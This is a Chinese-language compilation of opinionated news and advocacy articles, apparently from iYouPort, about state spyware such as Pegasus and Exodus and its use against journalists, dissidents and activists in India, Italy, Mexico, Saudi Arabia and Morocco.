该间谍软件的成本也高得令人望而却步，以至于只有少数几个实体能

够部署该软件，而政府则名列嫌疑人榜首。

此外，那些被定位为目标的人的名册清楚地表明了在人权领域工作的共同点 —— 这些人都专注于揭露政府当局的阴暗面。

显然政府在针对这些人方面有明显的动机。

从过去到现在，印度政府在监视本国公民方面充满了糟糕的声誉。考虑到这一点，重要的是政府难以明确否认它没有使用该间谍软件来侵犯公民所享有的基本隐私权。

这不仅对联邦政府及其许多部门（包括情报局和其他机构）适用，而且对许多州政府也适用，这些州政府也可能使用此间谍工具。

联邦政府和州政府能否诚实地告诉公众，他们究竟有没有使用这种间谍软件？他们可以用什么样的自辨以令公众信任？

政府在此做了什么？

即便假设政府没有干这种事，或者至少不是联邦政府的行动，仅仅要求 WhatsApp 进行解释就足够了吗？

在这种情况下，执政的巴拉迪亚·贾纳塔党（BJP）的成员已经在试图质疑那些被攻击的人 —— 而不是那些进行攻击的人，仅仅是因为到目前为止出现的受害者名字都对他们的政治持批评态度。

「图」

「图」

这是不合情理的。无论个人政治立场如何，公民的基本权利都在这里受到了严重威胁。

如果一家使用非法以色列软件的美国公司正在窃取印度公民的个人信息，那么它将在多个层面上对印度构成威胁，无论是政府机构还是个人。

过去，政府除了对数据泄露表达了一点口头担忧之外，没有采取任何行动，例如，他们没有对剑桥分析公司 Facebook 数据转储的影响进行调查。这次会有所不同吗？

WhatsApp 骇客的消息不是唯一的的，与此同时，有关在暗网上出售

大量印度信用卡和借记卡详细信息、以及印度核工厂计算机上出现的恶意软件的详细信息，纷纷浮出水面。印度政府会更加重视数据保护吗？

国会将如何处理？

几年前，印度人以及印度最高法院被告知，国会将通过一项明确旨在保护我们数据的法律。

尽管《个人数据保护法案》草案已经存在一年多了，但没有任何迹象表明政府打算何时将其提交国会。

此外，该草案回避了所有监视问题，认为应由另一项立法来处理。

因此，当务之急是，国会必须在即将召开的会议上，在旨在保护印度公民的个人数据不受所有实体（私人或政府）侵害的法律上，取得进展，同时还应制定一项法律规范印度国家对本国公民的监视行为。

对于广大公众来说，要求立法者提供这种保护至关重要。

网络安全、监视和数据保护必须脱离传闻的范围，要彻底曝光才能解决问题。〇

The Daily Fix: Can the government confirm it did not use WhatsApp spyware on Indians?

原文

政府间谍软件在 Google Play 实现大规模监视 - iYouPort

关于谷歌-监视资本主义的创始人技术暴政政府的间谍行为

“在电信公司的帮助下”欺骗人们安装 ……

「图」

「图」

2019年3月，一个名为 Security Without Borders 的研究小组 —— 经常调查对持不同政见者和人权捍卫者的威胁的非营利组织 —— 在 **Google Play** 上发现了**20**多个政府级间谍软件应用程序，这些间谍软件假装为 Google Play 商店中无害的原始应用程序。

⚠这些应用程序是一个诱饵，通过它可以在目标手机上安装名为 Exodus 的政府级间谍软件。

该间谍软件吸取受害人手机里的安装应用程序列表、浏览历史记录、众多应用程序的联系人列表、短信 —— 包括加密的文本 —— 位置数据、以及应用和**Wi-Fi**密码。

该恶意软件还可以激活相机和麦克风以捕获音频和视频，并获取屏幕截图。

该间谍软件来自意大利的一家名为 eSurv 的监视技术公司，尽管它擅长于窃听用户的手机，但在保护自己的数据方面却表现不佳。

该间谍软件会在受感染的手机上打开一个远程命令外壳，但未能使用任何类型的加密或身份验证，⚠因此与受感染设备位于同一Wi-Fi网络上的任何人都可以对其进行入侵。

当局就是利用这么一个拙劣的玩意做出了惊人之举：正如彭博社报道的那样，eSurv 员工使用该技术监视了广泛的无辜的意大利公民。

据彭博社看到的法庭文件：eSurv 员工会在办公室大声播放秘密窃听到的电话交谈。

据称，在将该间谍软件卖给执法机构的同时，该公司还与一家名为 “Ndrangheta” 的公司达成了交易，而后者与黑手党有联系 —— 黑白通吃。

挖掘监听应用程序

Exodus 背后的人是意大利开发商 Diego Fasano。

在他成功地为医生创建了一个用于查看病历的应用程序后，一个朋友告诉他，他应该进入监视业务市场，⚠在这方面警察们一直呼吁寻求帮助，以渗透通过 **WhatsApp** 和 **Signal** 等消息传递应用程序加密的通信。

- 更多信息详见 列表-1 “加密和反加密之战”

2014年，Fasano 创立了 eSurv，专门向警察和间谍机构销售监视技术。

运作方式：⚠在意大利电信的帮助下，该公司欺骗人们下载看上去无害的应用程序，该应用程序伪装成可以解决手机上的网络错误。

Fasano 说，警方将与手机网络运营商合作，关闭目标人的数据服务。接下来，他们会发送指令让用户使用Wi-Fi下载一个应用程序以恢复服务。该应用程序的设计看起来就像是与电信提供商相关的，名为 “Operator Italia”。

⚠其真正的目的是 —— 使执法人员可以访问受害者设备的麦克风、摄像头、存储的文件、和任何加密的消息。

Fasano 将这个叫 Exodus 的间谍软件卖给了该国的检察官办公室，还包括该国的外国情报机构 L’Agenzia Informazioni e Sicurezza Esterna。

但是，由于安全漏洞，Exodus 撤消了任务。根据当局的说法，在调查中，2018年，贝内文托市检察官办公室已经开始使用 Exodus 入侵嫌疑人的电话。 10月，一名技术人员注意到网络连接不断断开。

请注意，撤销 **只是** 因为安全漏洞，而非这种邪恶监视的合法性。

经过一番侦查，技术人员发现 Exodus 并没有像它应该做的那样处理只能由 Benevento 检察官办公室访问的内部服务器；而是，允许连接到互联网上任何人都可以访问该服务器，仅受用户名和密码保护。

这意味着，意大利检察官在该国一些最敏感的调查中秘密地从嫌疑人的电话中收集的数据很容易被黑客拦截。

其中包括成千上万的照片、对话记录、私人消息和电子邮件、视频、以及从被盗手机和计算机中收集的其他文件 —— 总共约80 TB的数据或约40,000小时的高清视频，⚠以未加密的形式存储在原来是位于俄勒冈州的 Amazon Web Services 服务器上。

当局不知道该服务器是否曾被黑客入侵。

检察官对 eSurv 提起刑事诉讼，指控其非法收集和存储私人通信，将其转移到海外，以及没有以安全的形式保存 “具有司法性质的敏感个人数据”。

同时，Fasano 和另一名 eSurv 高管 Salvatore Ansani 被控欺诈，未经授权使用计算机系统、非法拦截和非法数据处理。

他们被软禁了三个月，已被释放，目前正在等待下一阶段的法律诉讼，这很可能会导致审判。

进一步调查发现，在 eSurv 的20名员工中，有一部分人专门从事 Exodus 的工作， Ansani 称其为 “The Black Team”。

尽管如此，由于当局说仍然未知，这些电话被窃听、并被记录了他们的私人对话的公民，仍然没有得到解释。

根据警方的文件，这个所谓的 Black Team 监视了230多名未经警方授权进行监视的人。其中一些被监视的人在 eSurv 的内部文件中被称为 “志愿者”，换句话说，他们可能是完全不知情的小白鼠。

调查人员仍在梳理他们从 eSurv 捕获的大量数据，以试图找出非法数据收集的目的。是要勒索吗？还是纯粹为了好玩？是在从事间谍活动吗？或者代表黑手党进行非法监视？……

此时，一名检察官 Eugenio Facciolla 处于腐败丑闻的中心，已被控伪造文件，以阻止或误导警方对 “Ndrangheta 主导的非法伐木行动进行的调查，该行动涉及砍伐数千名意大利国家公园的树木。

11月，处理检察官任命的机构表示，正以 “滥用职权” 为由，将 Facciolla 撤离他在 Castrovillari 的办公室。

Facciolla 正在对该决定提起上诉。是的，他承认向其他公司提供了 Exodus，但是据他的律师 Vincenzo Ioppoli 称，该间谍软件“就像一支枪”。

还真是，就像枪，但枪子儿可没长眼。〇

Government spyware company spied on hundreds of innocent people

原文

政府间谍软件监控公民行为举世瞩目，为什么墨西哥当局至今没有调查进展？ - iYouPort

政府的间谍行为

前副总检察长 **Mario Ignacio Álvarez** 说：最有可能的是，使用这个间谍软件的政客们正在放慢调查速度，使其不能进展。在这个国家里，向圣母玛利亚祈求正义比向当局祈祷更管用些……

「图」

「图」

自从 2013 年以来就有证据表明墨西哥政府拥有先进的监控技术。

但直到 2016 年，这项被称为 #GobiernoEspía（#SpyGovernment）的案例，都引起了墨西哥本国和国际层面上对政府监控的轩然大波。该案于 2016 年中期公布，这要归功于非营利民事和数字版权组织联合编写的调查报告 Article 19, Red en Defensa de los Derechos Digitales，由 SocialTIC 和多伦多大学公民实验室完成。

此后，数十个民间社会组织、国内和国际公众人物、以及技术监视的受害者，联合起来反对滥用和任意监视的做法。

2017 年 6 月 19 日签署并发布的联合声明如下：

> 我们要求墨西哥政府对使用恶意软件进行间谍活动的行为，进行彻底和透明的独立调查，以及对那些通过滥用权力而决定侵犯那些社会变革倡导者隐私的人，进行制裁。此外，我们要求进行法律改革，控制国家监视的做法，使其符合人权标准并保证财政责任。
>
> *Exigimos rendición de cuentas por parte del gobierno mexicano sobre el uso de malware para realizar espionaje, la apertura de investigaciones*

> *independientes, exhaustivas y transparentes, así como sanciones contra los responsables que, mediante el abuso del poder, han decidido vulnerar ilegalmente la privacidad de estos actores sociales. Asimismo, exigimos las reformas legales necesarias para regular las facultades de vigilancia del Estado de conformidad con los parámetros de derechos humanos y garantizando la rendición de cuentas.*

不幸的是，在此事发生八个月之后的今天，尽管"当局宣布"他们将开始调查以确定谁应对此负责，但在这方面没有发现任何调查结果或实质性的调查进展。

在纽约时报的这篇新文章中，前副总检察长 Mario Ignacio Álvarez 说：最有可能的是，使用这个间谍软件的政客们正在放慢调查速度，使其不能进展。在这个国家里，向圣母玛利亚祈求正义比向当局祈祷更管用些……

自案件第一次被发现以来一直迫切寻求答案的倡导组织，最近要求组建一个独立专家小组，可以进行可靠、公正和彻底的调查，以确定谁负责，并让他们负责。

在纽约时报最新报道发表的同一天，另一篇声明中显示，签署组织强调了联邦政府无意澄清事实的证据。他们列举了没有被采取的各种行动以惩罚那些犯下这种非法监视行为的人。

- 在档案中，PGR 刑事调查局接受了使用 Pegasus 的许可证，并且在墨西哥城的办公室发现了使用该软件的设备。然而，负责此案的特别检察官反对言论自由罪行办公室（FEADLE）并未就刑事调查采取任何行动，尽管有这些事实内容存在，以及来自专家的逼问，如 Citizen Lab。
- 经过培训来操作 Pegasus 间谍软件的人没有被指认和采访。
- 涉及系统使用的监控摄像机、记录、日志和安全措施，尚未经过审查。
- 尽管新闻界已经提出了这一要求，但没有正式的要求他们展示收购 Pegasus 的合同和技术附录。

VICE 媒体的纪录片系列 “Cyberwar” 一集中对 Pegasus 案例进行了总结，其制片人称其致力于揭露世界各地存在的网络间谍活动。

墨西哥政府迄今尚未公布任何消息，但对问责的要求仍在继续。就在

今年 2 月 25 日，艺术界、民间社会组织、活动家和记者们聚在一起，不仅庆祝 “Privacidad”（由 Diego Luna 和 Luis GerardoMéndez 主演的“隐私”）已经完成了 100 场表演，而且还公开谴责这一罪行继续不受惩罚的事实。

一些作为 Pegasus 这类间谍软件的监视目标的人们也参加了这一活动，包括 **Edward Snowden**。

> *Last night, Diego Luna and Luis Gerardo Méndez celebrated the 100th presentation of the play “Privacy” (Privacidad) with human rights defenders, activists and journalists that were spied on using Pegasus by the Spy Government.*
>
> *Edward Snowden highlighted the brave exposure made by those targeted by the Spy Government and congratulated the team behind the play “Privacy” for amplifying the importance of that right.*
> *pic.twitter.com/NRk6hBd2aW — R3D (@R3Dmx)*
> *February 27, 2018*

原文

有关以色列恶意软件开发商 NSO 集团的更多丑闻已浮出水面 - iYouPort

以色列和NSO-间谍产业的领主政府的间谍行为

「图」

「图」

在过去一年中，调查发现该公司向许多主要因侵犯人权行为而闻名的国家销售间谍软件。甚至不那么值得怀疑的政府也购买 NSO 的软件，用它来瞄准本国的活动家、记者和政府批评者。

没有人知道美国机构将如何部署这种恶意软件，但毫无疑问，像 DEA 这样的联邦实体认为 NSO 间谍软件将成为其调查工具包的有用补充。美国政府似乎并不担心与愿意向黑名单国家出售老大哥软件的科技公司保持亲密关系，因此 NSO 集团仍然是美国的选择。

据报道，一家专门从事网络间谍工具生产的以色列公司与沙特阿拉伯谈判达成了价值数百万美元的协议，出售一种技术，以允许政府破解其公民的手机，甚至窃听电话以及手机附近的通话。

NSO 代表在维也纳与沙特官员举行会谈，以 5500 万美元出售其 Pegasus 3 软件。这些谈判就发生在穆罕默德·本·萨勒曼（Mohammed bin Salman）将他的大清洗机器开足马力之前不久。不幸的是，这些文件（由于一名员工因佣金纠纷向 NSO 提起诉讼 ）并未能说明沙特政府是否选择购买该软件和/或是否用于帮助 MBS 追捕他的政治对手。

从目前已经了解到的情况来看， NSO 在与沙特谈判达成协议时试图双管齐下。它拒绝透露反政府 Twitter 帐户的真实身份，但是，确实提供了劫持目标手机的工具的有效性。

Israeli Exploit Developer Caught Negotiating Spyware Sales With Saudi Government: The US government doesn’t appear to be

worried about getting in bed with tech companies willing to sell software to blacklisted countries, so NSO Group is still a viable option.

原文

杀手：以色列精英军队 - iYouPort

以色列和NSO-间谍产业的领主地缘政治政府的间谍行为

这些公司开发的技术使以色列成为各种领域的市场领导者，包括无人驾驶汽车，无人机技术和监视系统的开发

「图」

「图」

这是再次的证明：以色列精英军队经营着涉及沙特记者 Khashoggi 被谋杀案的技术公司。

英国“ 金融时报”的一份新报告显示，来自以色列精锐军事部队的士兵一直在推动该国科技公司的成功。

这群在军队中受过训练的大量工程师和企业家被称为 Unit 9900，他们通过微调的计算机算法来消化数百万张监控照片并筛选出可操作的情报，这使以色列成为图像分析领域的领导者。

该国一些最成功的技术公司招募了数千名精英士兵，专门从事情报收集和自动化决策制定。这些公司开发的技术使以色列成为各种领域的市场领导者，包括无人驾驶汽车，无人机技术和监视系统的开发。

据英国“ 金融时报”报道，Unit 9900 的全称是地形分析、精确制图、视觉采集和解释机构，它为这个行业的未来创造了一批必不可少的工程师。据说，估计这个秘密的单位有 25,000 名毕业生，最近才被允许对其工作进行有限的讨论。

来自 Unit 9900 的士兵通过以色列无人机和卫星提供的图像进行情报收集训练，提高了技能，其中包括监视加沙地带拥挤混乱的街道，以及叙利亚。

随着如此多的数据涌入，Unit 9900 提出了解决方案，他们学会了自动化大部分过程，教授算法以发现细微差别、景观的轻微变化、以及目标如何移动和表现。

“金融时报”采访的人描述了他们所做的情报搜集工作：“问自己—如果你是敌人，你会在哪里隐藏？你可以开车到哪里，天气对所有这些分析的影响是什么？“……官方说：”我们必须把所有这些照片，所有这些影像，所有这些地理空间的证据都分解开：你怎么知道你所看到的东西背后的是什么，它将如何影响你的情报决定？“

这些公司开发的技术被出售给了一些人权记录非常糟糕的国家。报告引用总部位于荷兹利亚的 NSO 集团，该集团因将其主要产品 Pegasus 手机监控软件出售给阿联酋、科威特和哈萨克斯坦，而饱受批评，该技术已被广泛用于渗透持不同政见者和人权活动家的手机。

报道中提到沙特阿拉伯使用 Pegasus 跟踪生活在国外的持不同政见者的电话，包括 Khashoggi 的朋友。

以色列的批评者经常说，以色列镇压巴勒斯坦人民是其政治影响力的巨大来源。以色列的“深刻军国主义文化”和多年压制巴勒斯坦政治权利的经验意味着它完全有能力将其控制和统治的技术出口到其他国家。其独特的经验使该国成为世界各国老大哥的宝贵资产。

- 关联：流亡是无法逃避政治追捕和迫害的《以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群》
- 社交工程学如何被用于针对异议人士发起攻击《大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险》
- 技术政策的小把戏《中国的漏洞利用：为什么政策忽然变化？》
- 民主最大的困境《真相衰变：当民主病危、变革遥遥无期时，我们应该思考什么？》

Israel elite military units run tech-firms involved in Khashoggi murder. Soldiers from Israel’s elite military units have been driving the success of the country’s tech firms, a new report in the Financial Times has found. A large pool of engineers and entrepreneurs trained in the military group known as Unit 9900 where they fine-tuned computer algorithms to digest millions of surveillance photos and sift out actionable intelligence has turned Israel into a leader in image analysis.

原文

泄露文件：特朗普内幕人士希望向暴政出售社交媒体监视工具 - iYouPort

协助暴政的家伙们政府的间谍行为

我们曾经错过了这份2018年的报道，现在必须补充它，因为它非常重要！我们会说明为什么。开源情报被用于镇压，这不是美国或中国的特例，也极有可能会造成这样的结果，这就是为什么我们应该非常小心

「图」

「图」

Elliott Broidy，曾因在贿赂案中被起诉、并作为特朗普（Donald Trump）顶级筹款人而闻名，他与总统举行会晤并邀请外国政权参加，这些政权也是他的国防公司 **Circinus** 的潜在客户。

关于 Circinus 的消息鲜为人知，但据 The Intercept 获得的公司文件显示，其中包含将社交媒体监控软件兜售给压制性政权的计划。

这里指的社交媒体监控软件是开源情报技术。正如IYP希望不断声明的那样，开源情报和其他大部分技术一样，它可以有正义和邪恶两种用途兼备，我们必须让更多正义之士了解技术，才有可能以正压邪。

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/7068

Circinus 网站将承包商描述为美国国家安全的热血捍卫者："您是爱国者，决心让我们的国家（包括政府和私营企业）保持安全吗？" 其招聘页面上写道。

Circinus 的高管名册宣称他们在美国特种部队、国土安全和军事情报

领域拥有丰富的经验。

但是这些文件表明，该公司准备向塞浦路斯、罗马尼亚、突尼斯、阿联酋等压制性政府出售一套复杂的互联网情报挖掘工具，文件吹捧该工具能够发现并确定在线的 “批评者” —— 就是政治异议。众所周知，突尼斯和阿联酋的近代历史与侵犯人权行为息息相关，尤其是镇压政治异议人士。

目前尚不清楚这些文件是否已提交给任何或所有相关国家，但纽约时报确定了罗马尼亚、突尼斯和阿联酋为 Circinus 的潜在客户。

该报道描述了 Broidy 与罗马尼亚和突尼斯官员之间的会晤，并报道了 Broidy 写信给其他人关于赢得阿联酋的业务所做的努力。

⚠ Intercept 获得的2016年和2017年的这些文件重点介绍了所谓的开源情报的全貌，统称为 “OSINT”。

- 中国深圳的**KIS**成立于**2003**年，专门制作开源情报工具以挖掘互联网，在这里看到详细介绍，链接及下图

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

这是描述可以在线自由访问的信息的一种简便方法，例如推文、博客文章以及任何未锁定在密码后面的内容。

尽管通常不像人们私下存储的内容那样敏感，但是，互联网用户经常在网络上留下太多的“开源”数据面包屑，这些痕迹完全可用于破坏性目的。

- 具体做法参见 列表-5 “开源情报” 栏目

（注：它这里值得其实是社交媒体情报，而不完全是开源情报。社交媒体情报是开源情报的重头戏，但绝非全部内容）

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/6809

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/7065

收获 Facebook 和 LinkedIn 这样的社交媒体网站的开源情报通常是不受欢迎的、而且非常危险（甚至，这种做法居然都不违法），尤其是考虑到大多数人在 Facebook 之类的服务上正确配置隐私设置非常困难。

但是，根据该文件显示，这不是问题，它们写道：“只要信息在万维网上，它就可以被 **Circinus** 开源分析中心的分析平台吸收。”

根据材料，Circinus 对在线信息的摄取通常涉及一个称为抓取的过程，也就是匿名下载内容并从中过滤出那些政府间谍客户感兴趣的信息。

这些文件进一步声称，Circinus 可以“刮取整个网络，包括博客、新闻提要、视频、网站上的评论、以及所有其他语言和来源的任何信息。”

但是，与那些宣传自己有能力刮取 Twitter 并向您出售某种“洞察力”的无数其他营销公司不同，**Circinus** 是国防承包商，并且在文件中被定位为国内外情报机构和政策制定者的潜在合作伙伴。

在2018年提起的诉讼中，Broidy 声称他是卡塔尔政府实施的出于政

治动机的黑客活动的“受害者”，称黑客从他那里窃取的文件随后发给了新闻界。

该诉讼称黑客已经“篡改或完全伪造”了其中一些文件，尽管它并没能引述任何例子，新闻界也没有报道过任何伪造或被更改的材料。

Circinus 拒绝对文件的真实性发表评论，但确实将这些文件描述为“被盗”。Intercept 无法验证文件的真实性，但是，文件中所描述的服务恰好是 **Circinus** 在市场上公开提供的一种服务。

该公司发言人还回答了有关文件实质的问题，确认“所列国家中的三个已经收到了基于利益的技术能力简介”，但“另一个国家是为了确定是否存在令人信服的案例而考虑的，从未引起兴趣。”

该发言人还说，上述国家“最近发生了一些重大事件，显然可以从对公开信息的分析中受益”，并且这种分析“可以针对客户的利益而定。”

塞浦路斯、突尼斯、罗马尼亚和阿联酋的使馆均未回复置评请求。

充斥着时髦词汇的这些文件既不祥又含糊不清：⚠塞浦路斯的文件宣称，Circinus 可以帮助政府发挥“影响力”和“瞄准”的能力，而社交媒体地理定位功能可以通过让“特工在现场街道上实时[识别]社交媒体流量从而在战术层面上获得帮助。

突尼斯的文件主张进一步扩大，声称 Circinus 的软件可以帮助该国在线检测到“破坏者”，并且⚠“不仅可以识别信息的性质，还可以识别发布信息背后的人。”

在其他地方，同一文档扩展了这个所谓的“身份解析”功能，即：“解析多个在线身份或角色以协助政府进行背景调查、并审查寻求移民身份的申请人的能力”：

政府将能够使用元数据和复杂的“模糊匹配”过程来匹配真实姓名和别名的在线角色，从而提供可量化的置信度，即两个“数据支持的”身份相同。

通过随着时间的推移积累身份背景，政府将能够使用各种信息来源来确定个人是否确实是他们所说的真实身份。

一旦确定了个人，*Circinus* 的软件即可确定个人与组织之间的联系。将个人、组织和地理位置相关联，可以发现和分析松散和紧密的各种

人际网络，从而提供更完整的情报视图，使传统的开源信息收集和分析的效率成倍增加。

这些功能显然是为保持压迫性的社会状态而提供的。

自2011年独裁者 Zine El-Abidine Ben Ben 被推翻以来，突尼斯的公民自由发生了根本性的变化，但是就在去年，突尼斯的博客作者因在 Facebook 上对政府发表 “诽谤性” 言论而被监禁。

人权监察机构自由之家将美国的互联网政策评为 “部分自由”，原因是担心针对反对派的镇压。国际特赦组织写道：“在有罪不罚的环境下，对被拘留者的酷刑和其他虐待继续发生。” 在多个地区对和平抗议者的起诉都在增加。

为阿联酋政府所做的文件内容未知；Intercept 仅获得了一个封面。但是该文档的格式和文件名表明，它包含与在线信息（开源情报）处理相关的类似服务。

在阿联酋，任何形式的异议，无论是在线的还是线下的，都比突尼斯异议遭受到了更加残酷的惩罚：2017年3月 —— 与阿联酋那份推销文件的日期相同 —— 阿联酋学者 **Nasser bin Ghaith** "被判处"**10**年徒刑，仅仅因为他在 **Twitter** 上发表的评论。

阿布扎比《国家报》报道，2018年，屡获殊荣的阿联酋人权倡导者 **Ahmed Mansoor** 因被指控 “侮辱阿联酋及其领导人” 而被判处"十年监禁"。

对于世界各地的国防和安全[维稳]公司来说，将其产品出售给这些 压迫性的政权并立即促进其对人权的侵犯行为，都是很常见的。（具体内容详见 列表-4 “协助暴政的家伙们” 中的汇总）

此类监视软件的捍卫者声称，客户有权使用或滥用他们所说的中立工具，其制造商不得对其进行监管。

但是，在推销活动中出售的不仅仅有 **Circinus** 软件的功能，而且还包括建立了外国客户与在弗吉尼亚州工作的特定美国人小组之间的持续合作 —— 所谓的 “ **Circinus** 开源情报中心”。

该文件中的一页指出，⚠使用驻地美国的团队将有效地掩盖塞浦路斯政府对这些监视技术的使用，从而使政府免受 “暴露于Google分析或损害机器或网络IP地址的风险。”

这里的宣传似乎是在强调通过美国进行基本的基于网络的监视的能力，该功能被称为“错误归因的环境”。

特朗普主义、监视和压制性治理明显关系自然令隐私倡导者担忧。

隐私国际组织国家监视计划负责人 Edin Omanovic 告诉 Intercept，尽管 “特朗普上台时许诺排干沼泽 …… 但是，迄今为止，他当选总统的最大筹码依旧是人脉广泛的商业和军事领域，军事工业综合体。”

“大型监视技术公司可以以这种方式获得对他的访问权，这应该警告那些仍然相信他与他假装反对的 deepstate 有任何不同的人。”

尽管如此，Omanovic 还是发出了警告。“对于这些监视技术公司始终需要持怀疑态度，无论是 **Circinus** 出售的是高级分析技术还是什么骗人的万灵油，它仍然引起了许多严重的担忧”。

该文件中的某些标志肯定地指向了骗人的万灵油。这些材料是自我强化的，并且不必要地部署了怪异的首字母缩写词（例如，PAI，代表公开信息），并大写了随机单词以产生明显的戏剧性效果，例如 “开源信息”。

这些难以理解的奇怪短语（例如 “分析开源信息，以便从开源信息和其他专有数据中获取最可行的开源情报”）是一种规范，其中强调的那些术语和流行语，使被卷入混乱的行话经常变得更加不连贯。

这种语言使得很难评估整件事中任何事物的真实性。

根据多伦多大学公民实验室的研究人员 Chris Parsons 的说法，无效的或完全欺诈性的情报软件可能与真实事物一样危险。

⚠ “许多自动化的开源情报工具都像万灵油一样。如果产品质量很差，如果它产生的信息非常不准确，分析严重不足，或推断出的威胁被夸大了，那么实际上无疑更加令人担忧。”

Parsons 补充说，如果 **Circinus** 销售的软件无法正常工作或严重夸大了其有效性，那么 “被作为目标的个人可能会受到后续国家镇压行动的不利影响，而不论他们的行为有多无辜、甚或完全不参与值得政府机构监控的活动。”

在回答有关其软件销售可能对人权产生的影响的问题时，该公司发言人忙于自辨，“ Circinus 公司保持着严格的合规性计划，并不断进行审查”，”公司有相关政策和做法，确保符合所有法规，并制定了防止

泄露受保护信息的质量保证计划。”

当被问及文件中描述的所谓的 Circinus “身份解析 “功能时，该公司没有作出回应 —— 特别是让政府能够在网上 “确定个人真实身份” 的功能 —— 这至少无法作为 “为客户提供与用户相关的个人可识别性信息” 的实例。〇

TRUMP INSIDER WANTED TO SELL SOCIAL MEDIA SURVEILLANCE TOOLS TO ABUSIVE GOVERNMENTS, LEAKED DOCUMENTS SUGGEST

原文

流亡也没有安全 - iYouPort

以色列和NSO-间谍产业的领主你我的灾难现实政府的间谍行为

监视追踪是迫害的基础工具，这事在数字时代并不会被国界所限

「图」

「图」

沙特被残害记者 #Khashoggi 和在蒙特利尔流亡的活动家 Omar Abdulaziz 之间在 #WhatsApp 的通信，下图，在今年8月由于Omar感染了以色列最臭名昭著的间谍软件，私密通信被沙特截获。两个月后 Khashoggi 就死了。

「图」

「图」

通信中 Omar 还说："我很高兴你在国外，你很安全"。

然而，事实证明，流亡并没有获得任何安全。

作为加拿大的留学生当时 Omar 开始反对沙特政权。他对政府政策的尖锐批评引起了沙特国家的注意，取消了他的大学奖学金。加拿大于 2014 年给予他庇护，并在三年后他获得了永久居民身份。

在2017年10月至2018年8月的几乎每日交流中，Khashoggi 和 Abdulaziz 都在构想计划组建一支电子反抗军队，让沙特的年轻人回国，并在社交媒体上揭穿国家制造的宣传，利用 Khashoggi 的形象和 27岁的 Abdulaziz 340,000 粉丝的推特影响力。

这个被称为"cyber bees"的数字攻势来自早期关于创建一个记录其家乡侵犯人权行为的门户网站的讨论，以及制作短片的倡议。"我们没有议会; 我们只有 Twitter，"Abdulaziz 说，并补充说 Twitter 也是沙特政府最强大的武器。

“Twitter 是他们用来打击异议和传播谣言的唯一工具。我们受到了攻击，我们受到了侮辱，我们受到了很多次的威胁，现在我们决定做要点什么了。”

该计划涉及可能被沙特阿拉伯视为敌对行为的两个关键因素。第一个涉及将外国 SIM 卡发送给国内的异议人士，这样他们就可以在不被追踪的情况下发推文。第二是钱。根据 Abdulaziz 的说法，Khashoggi 最初承诺提供3万美元，并承诺在激烈的支持下鼓励富裕的捐助者。

但是由于间谍软件，这些私密通话都被沙特政府截获了，导致 Khashoggi 被残害。同样的间谍软件还感染了大赦国际在沙特阿拉伯工作的工作人员，和 45个国家的异议人士。

- 关联：Omar Abdulaziz 是如何被感染这种间谍软件的？《当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防》
- 正是这种间谍软件已经感染了45个国家，用来监视异议人士，！亚洲有香港（之所以没有发现中国的感染者，是因为无法对中国做DNS缓存探测）《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家 》

Jamal Khashoggi’s private WhatsApp messages may offer new clues to killing: in August, when he believed their conversations may have been intercepted by Saudi authorities, a sense of foreboding descends over Khashoggi. “God help us,” he wrote. Two months later, he was dead.

原文

独立记者在昂贵的铡刀之下 - iYouPort

Hackingteam政府的间谍行为

所有政权都不喜欢真相，因为权力就建立在谎言之上。对真相的追求是一场持久战。

「图」

「图」

不独立的媒体无法成就真正的新闻，因为《媒体操控是战略性欺骗的重头戏》。

2015年3月，Hicham Mansouri 通过电子邮件向一家反恶意软件公司投诉，他怀疑有人可能未经许可远程访问其设备。

他还记得与该软件公司交换了一些信息，但几天之后通信就被打断了。

大约10名穿着便服的警察闯入他在拉巴特的家中，逮捕了他。

这是他讲给巴黎的CPJ的故事。他现在在这里寻求政治庇护。

Mansouri 当时担任摩洛哥调查新闻协会的项目经理，负责协调安全报道的应用程序 StoryMaker，并调查数字监控问题 —— 他因所谓的通奸被判入狱，这是诬陷的罪名以报复他的调查工作。

2016年1月，当他重新拿回自己的计算机时发现，与反恶意软件公司通信的电子邮件丢失了，显然是被人从他的帐户中删除了。

这不是个案。多位记者描述了电子设备发生故障的方式，他们认为这些设备受到了监视。

延伸：可能的解决方案和为什么应该高度警惕

- 《我的设备好像被黑了怎么办？—— 给敏感人士和小白朋友的

数字急救包》找对了帮手，是解决问题的最重要一步
- 《大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险》

独立记者遭受的监视和被迫逃亡严重打击了摩洛哥的新闻自由，该国记者几十年来一直受到骚扰。

“我们已经无法明确表示在摩洛哥有任何独立新闻，”加利福尼亚州的学者 Samia Errazzouki 说。

摩洛哥王国因支持温和的伊斯兰教和提高其性别平等记录以及其他被认为是使该地区走向进步的政策而受到国际上的广泛赞誉。

然而，曾经是摩洛哥记者的 Errazzouki 表示，那个被称为 makhzen 的强大国家机构 —— 君主制、政府部门和维稳部门、以及与他们关系密切的富商 —— 自20世纪90年代以来一直在积极参与对独立媒体的打击。

摩洛哥当局长期操纵广告市场以鼓励当局满意的报道，那些选择独立的记者受到逮捕和恐吓。

根据 Errazzouki 和调查间谍软件的国际组织（如 Privacy International 和 Citizen Lab）的研究，摩洛哥当局还部署了复杂的监控软件。

很遗憾，这种情况在很多国家都不是新闻。

- 《如何在邻国政府的协助下间谍活动家、记者和律师》
- 《网络战：社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？》
- 《以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群》
- 《美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 TheIntercept》
- 《政府监视我，你可能就是下一个》
- ……在“媒体和新闻自由”栏目看到更多

2016年底，al-Hoceima 市的一名鱼贩被一辆垃圾车碾压致死，他只是试图收回警方被没收的商品，此事件引发了整个北部 Rif 地区的大型抗议活动。

截至2017年12月，至少有三名记者 —— Hamid al-Mahdaoui、

Mohamed al-Asrihi 和 Abdelkabir al-Hor —— 因参与示威活动而被监禁。

